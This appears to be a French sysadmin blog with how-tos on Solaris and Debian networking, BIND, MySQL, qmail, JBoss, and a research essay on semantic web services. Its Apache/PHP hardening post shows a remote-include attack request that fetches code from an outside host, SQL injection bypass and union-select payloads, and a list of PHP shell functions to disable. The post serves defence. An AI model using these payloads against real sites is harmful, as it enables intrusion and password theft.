Blog Informatique

Configuration d’une interface virtuelle sous Solaris (8)

hazem.nasri | 17 juin 2009

1) Créer un fichier /etc/hostname.<interfacename>:<n> et mettre le virtual hostname dedans.

example:

echo ’virtualhostname’ > /etc/hostname.hme0:1

2) Activer l’interface :

ifconfig <interfacename>:<n> plumb

example:

ifconfig hme0:1 plumb

3) Pour configurer L’ip virtuelle sans redémarrer l’OS :

ifconfig <interfacename>:<n> <IP address> netmask <netmask> broadcast + up

example:

ifconfig hme0:1 192.168.250.4 netmask 255.255.255.0 broadcast + up
4) Suppression d’une interface physique dans Solaris
Utilisez la forme suivante de la commande ifconfig :

# ifconfig interface unplumb down

exemple :

ifconfig hme0:1 unplumb down
Vérifiez que les interfaces nouvellement configurées sont montées et configurées ou affichent l’indicateur d’état “UP”.

# ifconfig -a

Commentaires: 833 Commentaires »
Catégories: Non classé
Trackback

Configuration d’une interface virtuelle sous debian

hazem.nasri |

Editer le fichier : /etc/network/interfaces

auto eth0
iface eth0 inet static
address 192.168.0.10
netmask 255.255.255.0
network 192.168.0.0
broadcast 192.168.0.255
gateway 192.168.0.1

Ajouter en dessous de ces directives notre interface virtuelle :

auto eth0:0
iface eth0:0 inet static
address 192.168.0.20
netmask 255.255.255.0

Redémarrer le réseau : /etc/init.d/networking restart

Commentaires: 574 Commentaires »
Catégories: Non classé
Trackback

Sécuriser un Serveur WEB Apache

hazem.nasri | 14 juin 2009

Résumé :

Les 3 paramètres traités sont :
« allow_url_fopen » ; « magic_quotes_gpc » ; « safe_mode ».

Type de serveur :
Serveurs Web : Apache / PHP

Descriptions :

ð allow_url_fopen = Off
La recommandation de sécurité est de laisser la valeur à « off ».
Lorsque « allow_url_fopen » à est « On », pour toutes les commandes PHP ouvrant un fichier, si la chaine de caractère contenant le nom de fichier est de type “http://”, PHP va récupérer le fichier à l’URL donnée et l’ouvrir.
Cela laisse possible une attaque de type « remote include », environs 70% des failles PHP utilise se principe.

Voici un exemple de ce type d’attaque dans les traces :
GET /alice5130/alice/phpbb/page_tail.php?includePath= <http://www.sitealpha.com/code_hostile.gif?cmd=uname%20-a >HTTP/1.0

Et voici le code vulnérable correspondant:
<?php # def des constantes $file = “client.php”;
#pour avoir un register global if (isset($HTTP_GET_VARS)) { while(list($var,$val)=each($HTTP_GET_VARS)) { $$var=$val;}}
#include de la lib client.php include ($file); ?>
Un appel du type : GET /index.php?file= ‘code_hostile.gif’ aura comme conséquence d’exécuter du code PHP arbitraire sur le serveur.
ð magic_quotes_gpc = On

Ce réglage évite une grande partie des SQL Injections, mais pas toutes !
Le principe est que tous les caractères ‘ (quote) envoyés par l’utilisateur sont remplacés par \’.
Voici une illustration d’une attaque de type SQL Injection :
Le principe est d’envoyer du code SQL pour contourner un processus d’authentification. Sur une page d’authentification ou l’identifiant et le mot de passe sont envoyés à une base de données pour en vérifier l’existence, un pirate va envoyer du code SQL pour réussir à s’identifier.

Considérons le code PHP suivant:
$query=”select * from user where user=’”.$_POST[user].”‘ and passwd=PASSWORD(’”.$_POST[passwd].”‘)”;
Si l’utilisateur entre admin / toto , la requête envoyée va être:
select * from user where user=’admin’ and passwd=’toto’;

Un pirate pourra contourner l’authentification en envoyant par exemple ‘or 1=1 limit 1# / vide , la requête deviendra alors:
select * from user where user= or 1=1 limit 1#’ and passwd=’vide’;
Avec magic_quotes_gpc réglé à « ON », la requête deviendra :
select * from user where user=’\'or 1=1 limit 1#’ and passwd=’vide’;

Il y a cependant deux cas de figures où magic_quote_gpc ne protège pas d’un SQL Injection.
Il est possible en effet de comparer un nombre sans utiliser de quotes avec MySQL . Par exemple:
select commentaire from table_commentaires where id=$_POST[user]
Un pirate peut très bien envoyer du code SQL sans avoir à utiliser de quotes dans cet exemple. Il va pouvoir envoyer dans user 123 union select

passwd from table-passwords . La requête va devenir:
select commentaire from table_commentaires where id=123 union select passwd from table-passwords
Le pirate pourra par ce biais récupérer la liste des identifiants et mot de passe.
Cette attaque a touché SPIP début 2006 et plus récemment GEPI (voir avis sécurité).

En résumé :
magic_quotes_gpc ne protège pas de toutes les attaques par SQL Injection, toutefois il permet d’en éviter la plupart.
Du point de vu d’un responsable sécurité, c’est une bonne chose de l’activer (lorsqu’une faille de type SQL Injection est découverte sur une application on a 2 chances sur 3 de passer au travers grace à ce réglage). Il n’y a pas d’impact sur le fonctionnement d’un site.
ð    safe_mode = On
Activer ce réglage a pour conséquence directe de bloquer le fonctionnement d’une partie d’un site écrit en PHP.
Concrètement :
·    il désactive toutes les commandes dangereuses exécutant des commandes (system, exec, …) ;
·    il empêche à un script d’accéder à un fichier dont il n’est pas propriétaire.
Alternative possible :
Désactiver manuellement toutes les fonctions (un script PHP n’a pas à exécuter des commandes systèmes).

Voici une liste des commandes à désactiver :
·    escapeshellarg — Escape a string to be used as a shell argument
·    escapeshellcmd — Escape shell metacharacters
·    exec — Execute an external program
·    passthru — Execute an external program and display raw output
·    proc_close — Close a process opened by proc_open() and return the exit code of that process.
·    proc_get_status — Get information about a process opened by proc_open()
·    proc_nice — Change the priority of the current process
·    proc_open — Execute a command and open file pointers for input/output
·    proc_terminate — kills a process opened by proc_open
·    shell_exec — Execute command via shell and return the complete output as a string
·    system — Execute an external program and display the output

Conclusion :
Passer en safe_mode est lourd de conséquence mais présente un gain de sécurité très important, en particulier sur les serveurs hébergeant les scripts de nombreux utilisateurs.

Commentaires: 1 114 Commentaires »
Catégories: serveur linux
Trackback

Installation serveur DNS sous Solaris 8

hazem.nasri | 22 mars 2009

Implementing a DNS Server on the Solaris 8 OS

First, we provide steps for a SPARC processor-based machine. Instructions for the x86 platform appear below.

Steps for the SPARC Platform

Download bind software from Sunfreeware.com. The latest version is bind-9.2.3-sol8-sparc-local.gz.
2.

Gunzip the package that you downloaded and install it.

# gunzip bind-9.2.3-sol8-sparc-local.gz
# pkgadd -d bind-9.2.3-sol8-sparc-local
# pkginfo | grep -I SMCbind
application SMCbind bind

Create a DNS server configuration file named.conf in the /etc database file in the /var/named directory:

# vi /etc/named.conf

Here is the example named.conf file:

acl “internal” {
20.195.109.0/24;
};

options {
directory “/var/named”;
forwarders { 161.142.2.17; 161.142.212.17; 202.188.0.183; 202.188.1.8;
};
forward only;
allow-recursion { internal; };
recursive-clients 10000;
};

zone “0.0.127.IN-ADDR.ARPA” {
type master;
file “db.127.0.0″;
forwarders { };
allow-transfer { none; };
};

zone “uesd.com” {
type master;
file “db.uesd.com”;
forwarders { };
allow-transfer { none; };
};

zone “109.195.20.IN-ADDR.ARPA” {
type master;
file “db.20.195.109″;
forwarders { };
allow-transfer { none; };
};

# mkdir /var/named
# cd /var/named
# vi db.127.0.0

Here is a sample db.127.0.0 file:

$TTL 86400
@        IN SOA dns.uesd.com. Postmaster.dns.uesd.com. (
10    ; Serial
10800   ; Refresh
3600    ; Retry
604800 ; Expire
86400 ) ; Minimum
IN    NS    dns.uesd.com.

1 IN PTR localhost.

# vi db.20.195.109

The following is an example of the db.20.195.109 file:

$TTL 86400
@ IN SOA dns.uesd.com. Postmaster.dns.uesd.com. (
11
10800
3600
604800
86400 )
IN NS dns.uesd.com.

2.109.195.20.in-addr.arpa. IN PTR web.uesd.com.
3.109.195.20.in-addr.arpa. IN PTR dns.uesd.com.

# vi db.uesd.com

This is a sample db.uesd.com file:

$TTL 86400
@ IN SOA localhost Postmaster.dns.uesd.com. (
32
10800
3600
604800
86400 )
IN NS dns.uesd.com.

localhost        IN      A       127.0.0.1
dns            IN      A       20.195.109.3
web            IN      A       20.195.109.2
www            IN      CNAME   web

The DNS server daemon is /usr/sbin/in.named. In the Solaris 8 OS, the script to start the DNS server is included in the /etc/init.d/inetsvc file. You can restart inetsvc to start the in.named daemon.

# /etc/init.d/inetsvc stop
# /etc/init.d/inetsvc start

To check the in.named service, enter this command:

# ps -ef | grep named
root 553 1 0 09:59:42 ? 0:00 /usr/sbin/in.named

You can use the nslookup command to check your DNS server. For example:

# nslookup
Default Server: dns.uesd.com
Address: 20.195.109.3

> www
Server: dns.uesd.com
Address: 20.195.109.3

Name: web.uesd.com
Address: 20.195.109.2
Aliases: www.uesd.com

Commentaires: 1 365 Commentaires »
Catégories: Solaris
Trackback

Installation des paquets sous solaris à la façon debian

hazem.nasri | 3 mars 2009

# wget http://blastwave.network.com/csw/unstable/sparc/5.8/pkgutil-1.2.1,REV=2008.11.28-SunOS5.8-sparc-CSW.pkg.gz
# gunzip pkgutil-1.2.1,REV=2008.11.28-SunOS5.8-sparc-CSW.pkg.gz
# pkgadd -d pkgutil-1.2.1,REV=2008.11.28-SunOS5.8-sparc-CSW.pkg

Puis
# pkgutil -i CSWbash

puis
export PATH=/opt/csw/bin:$PATH
pour ajouter /opt/csw/bin au PATH

éditez le fichier : /etc/opt/csw/pkgutil.conf
pour mettre les lignes suivantes :
Default: http://blastwave.network.com/csw/stable
mirror=http://blastwave.network.com/csw/stable
c’est l’équivalent de /etc/apt/sources.list sous debian
faire :
pkgutil –U
pour mettre à jour le catalog
puis
pkgutil –a
pour afficher le contenu du catalog

exemple : Installation de amavisd-new
pkgutil –f -i amavisd_new

Commentaires: 1 012 Commentaires »
Catégories: Solaris
Trackback

open_files_limit de MySQL

hazem.nasri | 1 janvier 2009

Sur les serveurs MySQL très chargés, l’augmentation de table_cache et max_connections est nécessaire et inévitable. Cependant, rendu à un certain point, le nombre de fichiers ouverts par MySQL dépassera la limite maximale définie par open_files_limit. Ces erreurs apparaitront donc dans votre fichier log MySQL: (erreur tirée d’un serveur MySQL 4.1.18)

[ERROR] /usr/local/mysql/bin/mysqld: Can’t find file: ‘./your_database/some_table.frm’ (errno: 24)

Note: Le message d’erreur a été ajusté à partir de MySQL 5.0.19 pour afficher “Could not open file (errno: 24)”. (voir référence)

Il faudra donc l’augmenter dans le fichier de configuration my.cnf:

[mysqld]
open_files_limit = 16384

Redémarrez MySQL afin d’appliquer la nouvelle limite. Vous pouvez confirmer le changement ainsi:

Commentaires: 501 Commentaires »
Catégories: Mysql
Trackback

Howto manage qmail queue in Plesk linux

hazem.nasri | 29 décembre 2008

Howto manage qmail queue in Plesk linux

You can use third party programs like qmail-remove http://www.linuxmagic.com/opensource/qmail/qmail-remove to accomplish queue management in plesk control panel managed qmail

The Plesk control panel itself provides a modified version od qmHandle ( http://qmhandle.sourceforge.net/ )along with it that can be used with ease to manage the queue

To see the statistics of the queue:

–

/usr/local/psa/admin/bin/mailqueuemng -s
Messages in local queue: 0
Messages in remote queue: 0
Messages in todo queue:   0
Messages total:           0
Messages found:           0
Timestamp: 1215870834
–

From this you can see the status of qmails local,remote and todo list

If you wish to do a delivery of the queued messages now run the following command

/usr/local/psa/admin/bin/mailqueuemng -a

To list remote message queue:

/usr/local/psa/admin/bin/mailqueuemng -R

list local message queue:

/usr/local/psa/admin/bin/mailqueuemng -L

To list message queue:

list message queues -l

To delete messages with a particular pattern in the subject line

/usr/local/psa/admin/bin/mailqueuemng -S”text”

eg: /usr/local/psa/admin/bin/mailqueuemng -S”failure notice”

will delete all delivery failed messages

To delete all messages in the queue (Use with caution - possible data loss )

/usr/local/psa/admin/bin/mailqueuemng -D

Posted under hosting, plesk, qmail

Commentaires: 845 Commentaires »
Catégories: Qmail
Trackback

serveur d’applications

hazem.nasri |

Jboss
JBoss est serveur d’application J2EE libre entièrement écrit en Java. Il peut être installer sur n’importe quel système d’exploitation ce qui est rendu possible grâce à l’utilisation d’une JVM (Java Virtual Machine).

Introduction
JBoss Application Server propose un ensemble de solutions pour les entreprises qui cherchent des profils préconfigurés de l’intergiciel JBoss Enterprise Middleware.
C’est un serveur facile à utiliser et sa grande flexibilité en fait un choix idéal pour les utilisateurs qui débutent. Avec J2EE, ainsi que des hauts architectes recherche d’une plate-forme d’intergiciels personnalisables.
Parce qu’il est basé sur Java, JBoss Application Server est cross-platform, facile à installer et à utiliser sur tout
Système d’exploitation qui supporte Java. Le code source facilement disponible est un puissant outil d’apprentissage de déboguer
Le serveur et de le comprendre. Il vous donne également la possibilité de créer des versions personnalisées pour votre usage personnel
Ou à une utilisation professionnelle.
Installation de JBoss Application Server est simple et facile. Vous pouvez l’avoir installé et fonctionne en un rien de temps.
Ce guide vous apprendra à installer et à désinstaller JBoss.

Installation
Cette partie traite de l’installation manuelle du serveur d’application JBoss sous Windows.
Prerequis: la variable JAVA_HOME doit être définie dans les variables d’environnement pointant vers le répertoire où se trouve le jdk.
Installation: télécharger le .zip
Le dézipper dans le répertoire de destination. Pour lancer le serveur, il suffit d’exécuter la commande run.bat dans le répertoire bin de JBoss.
Attention, si il y a des erreurs lors du lancement du serveur c’est peut être que le jdk n’est pas à jour. Dans ce cas télécharger une version plus récente.
On accède à la console d’administration, en allant sur http://localhost:8080/web-console/

Exemple
Nous allons voir ici un simple exemple qui consiste à déployer une application Web sur le serveur JBoss et sous environnement Windows.

Espace de travail
Créer un répertoire nommé “HelloWorld”, indépendamment du répertoire d’installation de JBoss.

Fichier JSP
Dans le répertoire “HelloWorld”, créer un fichier intitulé “salut.jsp”. Ce fichier contient le code suivant :
<html><head><title>JSP Test</title>
<%! String msg = “Hello, World.”; %>
</head>
<body>
<h2><%= msg %></h2>
<%= new java.util.Date() %>
</body></html>

Cette JSP affiche simplement un message avec la date du jour et le temps.

Créer le descripteur de déploiement
Dans le répertoire “HelloWorld”, créer le sous-répertoire “WEB-INF”, et dans ce répertoire créer le fichier nommé “web.xml” contenant le code suivant :
<web-app>
<display-name>Hello World</display-name>
</web-app>

Le descripteur de déploiement fournit au serveur JBoss sur l’application Web à déployer.

Créer le fichier WAR
Dans le répertoire “HelloWorld”, ouvrir un invite de commande et taper la commande : jar -cvf helloworld.war *.jsp WEB-INF
L’outil JAR de Java permet de zipper le contenu de l’application à déployer dans le fichier WAR.

Déploiement sur le serveur
Copier le fichier helloworld.war dans le sous-répertoire “server\default\deploy” du répertoire d’installation de JBoss.
Dans un navigateur, aller vers l’url “http://localhost:8080/helloworld/hi.jsp” pour voir votre application Web tourner.
Il est également possible d’explorer la console JBoss à l’adresse “http://localhost:8080/”. Aller sur “JBoss Web Console” et dérouler “J2EE Domains”, “jboss.management.local”, et “JBoss”. Sélectionner “helloworld.war” pour voir des informations à propos de votre application Web.

Commentaires: 635 Commentaires »
Catégories: serveur d'applications
Tags: serveur applications
Trackback

Specification et Recherche Sémantique de Services WEB

hazem.nasri | 10 septembre 2008

I. Introduction

De nos jours les entreprises ont adopté définitivement les Web Services comme instrument nécessaire à l’intégration de leur métier dans la sphère de l’e-commerce. Les progrès rapides dans ce domaine sont dus à l’intérêt permanent des industriels en de tels services mais aussi à la disponibilité immédiate d’outils et de standards permettant l’invocation automatisée des fonctions métiers via un échange de messages informatisés (SOAP, UDDI, WSDL). Cependant ces mêmes standards, largement utilisés actuellement, ne permettent de décrire les fonctionnalités des Web Services que de manière syntaxique. Il est impossible de donner un sens à ces descriptions. En réalité, seul un humain sait déduire et classifier le service en fonction de sa description. Ces standards requièrent de la part des programmeurs de coder en dur les informations nécessaires à l’interaction des parties, depuis la séquence de messages à échanger jusqu’à leur interprétation. Dans la plupart des cas, les Web Services offrent au mieux une interface permettant leur invocation, avec des métadonnées décrivant ce que le service accomplit et le fournisseur qui le publie (par exemple les descriptions UDDI). Les applications sont ensuite capables d’invoquer de tels services en utilisant un langage commun (SOAP). Il manque cependant une description sémantique compréhensible par un programme qui permettrait l’automatisation du processus de découverte puis d’invocation des services publiés sur le Web. Par description compréhensible, on entend une certaine quantité d’information que le programme peut traiter en se référant a un vocabulaire établit et commun à tous les Web Services : une ontologie.

II.    Les web services sémantiques
1    Introduction
Les web services sémantiques se situent à la convergence de deux domaines de recherche importants qui concernent les technologies de l’Internet : le web sémantique et les web services. Le web sémantique s’intéresse principalement aux informations statiques disponibles sur le web et les moyens de les décrire de manière intelligible pour les machines. Les web services, quant à eux, ont pour préoccupation première l’interopérabilité entre applications via le web en vue de rendre le web plus dynamique.
La notion de «web service» désigne essentiellement une application (un programme) mise à disposition sur Internet par un fournisseur de service, et accessible par les clients à travers des protocoles Internet standards. Des exemples de services actuellement disponibles concernent les prévisions météorologiques, la réservation de voyage en ligne, les services bancaires ou des fonctions entières d’une entreprise comme la mise en œuvre de la gestion de la chaîne logistique.
Le consortium W3C (http://www.w3.org/2002/ws/) définit un web service comme étant une application ou un composant logiciel qui vérifie les propriétés suivantes :
Il est identifié par un URI,
ses interfaces et ses liens (binding) peuvent être décrits en XML,
sa définition peut être découverte par d’autres web services,
Il peut interagir directement avec d’autres web services à travers le langage XML et en utilisant des protocoles Internet.
L’objectif ultime de l’approche web services est de transformer le Web en un dispositif distribué de calcul où les programmes (services) peuvent interagir de manière intelligente en étant capables de se découvrir automatiquement, de négocier entre eux et de se composer en des services plus complexes. En d’autres termes, l’idée poursuivie avec les web services, est de mieux exploiter les technologies de l’Internet en substituant, autant que possible, les humains qui réalisent actuellement un certain nombre de services (ou tâches), par des machines en vue de permettre une découverte et/ou une composition automatique de services sur l’Internet. L’automatisation est donc un concept clé qui doit être présent à chaque étape du processus de conception et de mise en œuvre des web services. L’automatisation est essentielle pour intégrer les facteurs suivants :
Passage à l’échelle : il faut être capable de traiter un nombre important de web services (annuaire de services au niveau mondial).
Forte réactivité dans un environnement hautement dynamique.
Réduction des coûts de développement et de maintenance des web services.
On peut de plus rajouter les facteurs suivants:
Forte adaptabilité facilitant la maintenance et l’évolution des web services : il est vraisemblable que vu l’enjeu que représente leur réussite et de par leur orientation métier, les web services créés seront amenés à être modifiés fréquemment.
Prise en compte de critères de qualité de services aussi bien d’un point de vue qualitatif que quantitatif : il est clair que la plupart des critères de qualité de services proposés actuellement (e.g. le prix) ne prennent pas en compte des aspects qualitatifs (e.g. la notion de réputation d’un fournisseur).
Or la plupart des travaux existants qui s’intéressent à l’intégration fonctionnelle évitent le problème fondamental de l’automatisation des différentes étapes liées à la fourniture d’un web service (par exemples, découverte et composition) puisqu’ils limitent l’usage des web services aux utilisateurs humains plutôt qu’aux machines. En effet, de nombreuses connaissances, indispensables pour l’automatisation des services, sont soit absentes, soit décrites pour être interprétées et exploitées par des humains. Il en résulte un rôle prédominant pour le programmeur humain. Il semble donc nécessaire de tendre vers des services intelligibles pour des machines : c’est le concept de web service sémantique.
Le besoin d’automatisation du processus de conception et de mise en œuvre des web services rejoint les préoccupations à l’origine du web sémantique, à savoir comment décrire formellement les connaissances de manière à les rendre exploitables par des machines. En conséquence, les technologies et les outils développés dans le contexte du web sémantique peuvent certainement compléter la technologie des web services en vue d’apporter des réponses crédibles au problème de l’automatisation. Par exemple, la notion d’ontologie peut jouer un rôle prépondérant pour permettre d’expliciter la sémantique des services facilitant ainsi les communications hommes-machines, d’une part, et les communications machines-machines, d’autre part.
De manière générale, l’objectif visé par la notion de web services sémantiques est de créer un web sémantique de services dont les propriétés, les capacités, les interfaces et les effets sont décrits de manière non ambiguë et exploitable par des machines et ce en utilisant les couches techniques sans pour autant en être conceptuellement dépendants. La sémantique ainsi exprimée permettra l’automatisation des fonctionnalités suivantes qui sont nécessaires pour une collaboration interentreprises efficace :
Processus de description et de publication des services;
Découverte des services;
Sélection des services;
Composition des services;
Fourniture et administration des services ;
Négociation des contrats.
2    Méthodes, techniques, outils existants sur lesquels on peut s’appuyer
Les web services tendent à devenir un domaine de recherche à part entière qui suscite beaucoup d’intérêt de la part de chercheurs de communautés très variées. On peut citer à titre d’exemple, le génie logiciel, les workflows, les bases de données, la modélisation d’entreprises, la représentation des connaissances ou les multi-agents. Cependant, on constate aujourd’hui que la littérature scientifique traitant des web services est trop dispersée. Il en résulte une absence d’unification et d’intégration de ses concepts rendant, tout au moins actuellement, difficile une appréhension globale et synthétique de ce domaine. Ce phénomène est accentué par la diversité (et parfois l’inconsistance) des visions proposées par les différentes communautés de recherche. En effet, à l’exception du consensus constaté autour de l’infrastructure de base qui ne concerne que les couches basses de la pile des web services (descriptions techniques pour assurer l’interopérabilité), des divergences de vues sur le rôle et le contenu des couches hautes de la pile (e.g., les relations entre les web services, les business processes et les workflows) apparaissent clairement dans la littérature. Ce point est important car il interpelle directement les problèmes d’intégration de processus d’entreprises. Ce type d’intégration constitue un des apports les plus prometteurs de l’approche web services. C’est la raison pour laquelle, dans la suite de cette section, je présente d’abord l’infrastructure de base des web services. J’aborde ensuite, à travers la notion de pile conceptuelle des web services, les différents problèmes liés à la définition et la modélisation des contenus des couches hautes de cette pile.
Techniquement, un web service peut donc être perçu comme étant une interface décrivant une collection d’opérations accessibles via le réseau à travers des messages XML standardisés. D’un point de vue technique, la description d’un web service inclut tous les détails nécessaires à l’interaction avec le service comme, par exemples, le format des messages, les signatures des opérations, le protocole de transport et la localisation du service. Les web services s’appuient sur des mécanismes et des protocoles standards et sont donc indépendants des langages de programmation (Java, J#, C++, Perl, C#, etc.), du modèle objet (COM, EJB, etc.) ainsi que des plates-formes d’implémentation (J2EE, .NET, etc.).
2.1    Architecture de référence
Les efforts de recherche et de développement récents autour des web services ont conduit à un certain nombre de spécifications qui définissent aujourd’hui l’architecture de référence des web services. Cette architecture vise trois objectifs importants (http://www.w3.org/2002/ws/): (i) identification des composants fonctionnels, (ii) définition des relations entre ces composants, et (iii) établissement d’un ensemble de contraintes sur chaque composant de manière à garantir les propriétés globales de l’architecture.
L’architecture de référence des web services (cf. figure X1) s’articule autour des trois rôles suivants :
Le fournisseur de service.
Correspond au propriétaire du service. D’un point de vue technique, il est constitué par la plate-forme d’accueil du service.
Le client.
Correspond au demandeur de service. D’un point de vue technique, il est constitué par l’application qui va rechercher et invoquer un service. L’application cliente peut être elle-même un web service.
L’annuaire des services.
Correspond à un registre de descriptions de services offrant des facilités de publication de services à l’intention des fournisseurs ainsi que des facilités de recherche de services à l’intention des clients.

Client
Recherche/localisation
Lier(bind)/connecter
Invocation service/méthodes
1- Publier (WSDL)
4- invoquer (SOAP)
3- Lier/connecter
2- Rechercher WSDL

Annuaire de services
(e.g., UDDI)
Fournisseur de services
Implémentation
Déploiement
Description et publication
Figure X1- Architecture des web services.

Les interactions de base entre ces trois rôles incluent les opérations de publication, de recherche et de liens (bind) d’opérations. Je décris ci-dessous un scénario type d’utilisation de cette architecture : Le fournisseur de services définit la description de son service et la publie dans un annuaire de service. Le client utilise les facilités de recherche disponibles au niveau de l’annuaire pour retrouver et sélectionner un service donné. Il examine ensuite la description du service sélectionné pour récupérer les informations nécessaires lui permettant de se connecter au fournisseur du service et d’interagir avec l’implémentation du service considéré.
Pour garantir l’interopérabilité des trois opérations précédentes (publication, recherche et lien), des propositions de standards ont été élaborées pour chaque type d’interactions. Je cite, notamment les standards émergents suivants :
SOAP définit un protocole de transmission de messages basé sur XML.
WSDL introduit une grammaire commune pour la description des services.
UDDI fournit l’infrastructure de base pour la publication et la découverte des services.
L’infrastructure de base autour de ces standards répond aux problèmes d’intégration technique des applications. En effet, contrairement aux approches d’intégration classiques qui ne sont pas exemptes d’inconvénients (e.g., les EAI qui sont des applications propriétaires), les web services proposent une approche flexible et ‘universelle’ pour l’intégration de systèmes hétérogènes en s’appuyant sur un modèle d’intégration basé sur un couplage faible des composants (peer-to-peer) et en exploitant de manière intensive les standards du web. Ceci a pour effet de permettre une intégration des applications plus rapide et moins coûteuse et avec des perspectives d’évolution et de réutilisation réelles pour les entreprises.
Cependant, cette infrastructure n’est pas suffisante pour permettre une utilisation effective des web services dans les domaines dont les exigences vont au-delà de la capacité d’interactions simples via des protocoles standards. Par exemple, dans le domaine du e-business, cette utilisation est motivée par les possibilités de coopération et de coordination entre des entreprises telles qu’on peut les percevoir dans la mise en œuvre de la gestion d’une chaîne logistique ou celle de la gestion des relations clients. Le challenge est alors d’être capable de spécifier et de mettre en œuvre des business processes intra ou inter entreprises. Ceci pose donc fondamentalement un problème d’intégration fonctionnelle des activités d’entreprises qui dépasse la simple capacité d’interactions via des protocoles standard. Pour des raisons de cohérence du discours, J’introduis dans la section suivante la problématique de l’intégration inter-organisationnelle ainsi que ses concepts sous-jacents proposés dans la littérature.
2.2 Problématique de l’intégration
Actuellement, les solutions pour résoudre les problèmes d’intégration technique d’entreprises s’appuient beaucoup sur la technologie EAI. Or, les solutions EAI sont, par essence, des solutions propriétaires, c’est-à-dire dédiées à la résolution de problèmes spécifiques, complexes à utiliser et qui ne peuvent pas bien interopérer les unes avec les autres. Par exemple, quand plusieurs entreprises intègrent des systèmes qui sont eux-mêmes intégrés en utilisant des EAI, les développeurs sont confrontés au problème récursif d’intégrer des solutions elles-mêmes intégrées. Dans un environnement très versatile où les intégrations fonctionnelle et technique doivent quasiment être réalisées au fil de l’eau, il est évident que la technologie EAI ne peut prétendre avoir l’ambition de s’imposer, ne serait-ce que parce qu’elle exige une forte composante humaine avec des temps de réaction très longs. Contrairement aux web services qui intrinsèquement peuvent être conçus pour être indépendants des technologies hétérogènes des partenaires d’une organisation virtuelle.
On comprend alors mieux pourquoi l’infrastructure de base des web services n’est pas suffisante pour répondre de manière satisfaisante à cette problématique de l’intégration. Cette dernière, en effet, exige, par essence, la définition d’un protocole qui permet aux activités intra et/ou inter entreprises composant un processus, d’être cohérentes relativement à une organisation afin d’atteindre l’objectif visé. Il s’avère donc nécessaire d’étendre l’architecture de base des web services comme présenté dans la section suivante.
2.3 Architecture étendue
Différentes extensions de l’architecture de référence ont été proposées dans la littérature. Le groupe architecture du W3C travaille activement à l’élaboration d’une architecture étendue standard.
Une architecture étendue est constituée de plusieurs couches se superposant les unes sur les autres, d’où le nom de pile des web services. La figure X2 décrit un exemple d’une telle pile. La pile est constituée de plusieurs couches, chaque couche s’appuyant sur un standard particulier. On retrouve, au-dessus de la couche de transport, les trois couches formant l’infrastructure de base décrite précédemment. Ces couches s’appuient sur les standards SOAP, WSDL et UDDI.
Comme mentionné précédemment, l’infrastructure de base définit les fondements techniques permettant de rendre les business processes accessibles à l’intérieur d’une entreprise et au-delà même des frontières d’une entreprise. Dans ce contexte deux types de couches permettent de la compléter : (i) les couches dites transversales (e.g. sécurité, administration, transactions et qualité de services (QoS)) rendent viable l’utilisation effective des web services dans le monde industriel ; (ii) une couche Business processus permet l’utilisation effective des web services dans le domaine du e-business. Dans la suite, on va s’intéresser qu’à la couche business processes pour laquelle, on peut relever dans la littérature, les problèmes sous-jacents suivants :
Comment les business processes peuvent-ils être représentés comme des web services ?
Nécessité de décrire comment les web services sont utilisés pour implanter les activités d’un business process.
Les problèmes de composition de service, i.e., quel(s) partenaire(s) va (vont) exécuter quelle(s) partie(s) d’un business process ?

Figure X2- Pile des web services

Différents auteurs de la communauté de recherche s’accordent sur la nécessité de spécifier le comportement externe de chaque partie impliquée dans le protocole d’intégration de processus (partie publique) sans pour autant révéler leurs implémentations internes (partie privée). Deux raisons justifient cette séparation :
Les entreprises ne tiennent pas forcément à révéler leurs prises de décisions internes et souhaitent préserver la confidentialité de leurs données.
La séparation publique-privé permet de modifier la partie privée indépendamment de la partie publique.

3 Conclusion
Le Web sémantique est le Web de demain dans lequel les métadonnées sémantiques jouent un rôle très important. On peut utiliser ce type de données pour enrichir des pages Web existants. Avec la technologie des Ontologies pour la représentation des connaissances, l’annotation des Web et des services pose plusieurs avenues de recherches. C’est un nouveau domaine de recherche et il reste encore beaucoup d’obstacles qu’ils faut résoudre: par exemple les outils pour la réalisation et l’utilisation des ontologies, les langages, les méthodes de modélisation sémantique pour les Web services. Dans un avenir proche, je crois que nous pouvons former un Web interactif et intelligent grâce à l’intégration avec les technologies des services Web. Donc, les services Web sémantique sont un début prometteur parce que nous pouvons mieux exploiter les services sur Web en automatisant, autant que possible, les différentes tâches liées au cycle de vie d’un service.

III. Description sémantique de services Web

1 Introduction

Malgré une large acceptation par la communauté des technologies de l’information, la pile de protocoles standards des services Web n’a pas été initialement développée pour satisfaire aux exigences de l’échange sémantique. Aussi, le langage de modélisation de processus métiers WS-BPEL reste concentré sur le côté syntaxique, sans considérer les aspects sémantiques mis en jeu durant la composition. Les problèmes d’hétérogénéités sémantiques sont par conséquent gérés de manière manuelle durant la phase de conception d’un processus métier. Pour atteindre l’interopérabilité sémantique, c’est-à-dire pour être en mesure de prendre en charge la signification des données qu’ils échangent, les services Web doivent être capables:

1. d’interpréter correctement la sémantique des données qu’ils envoient et reçoivent,

2. de décrire les fonctionnalités qu’ils fournissent en utilisant une sémantique explicite et compréhensible par les machines.

Afin de répondre à ces exigences, la communauté du Web sémantique propose des solutions reposant sur des ontologies de référence pour fournir une description explicite de la sémantique des services Web, lesquels sont ensuite appelés services Web sémantiques.

L’objectif des services Web sémantiques est de faciliter les tâches liées à leur utilisation, telles que la découverte, la sélection, l’orchestration et l’invocation, par le biais de leurs descriptions qui rendent la sémantique explicite et compréhensible par les machines. Ainsi, le domaine des services Web sémantiques se situe au croisement du Web sémantique et des services Web. De nombreux langages et architectures sont proposés afin de décrire les services Web sémantiques. Je propose ci-dessous une classification des approches existantes, qui structure ma présentation des approches de description sémantique pour les services Web.

2 Classification et présentation des approches

La réalisation des conditions qui élèvent les services Web au rang de services Web sémantiques peut suivre deux approches.
La première approche consiste à développer un langage complet qui décrit les services Web ainsi que leur sémantique d’un seul bloc.

La deuxième approche consiste à annoter les langages existants avec de l’information sémantique. L’avantage principal de ce genre de solutions réside dans la facilité pour les fournisseurs de services d’adapter leurs descriptions existantes aux annotations proposées.

Je vais essayer de classifier ces approches de la manière suivante : dans un premier temps, j’étudie les langages de description sémantique, puis dans un second temps je détaille les annotations de langages existants.

2.1 Langages de description sémantique

a) Web Ontology Language for services Web (OWL-S)

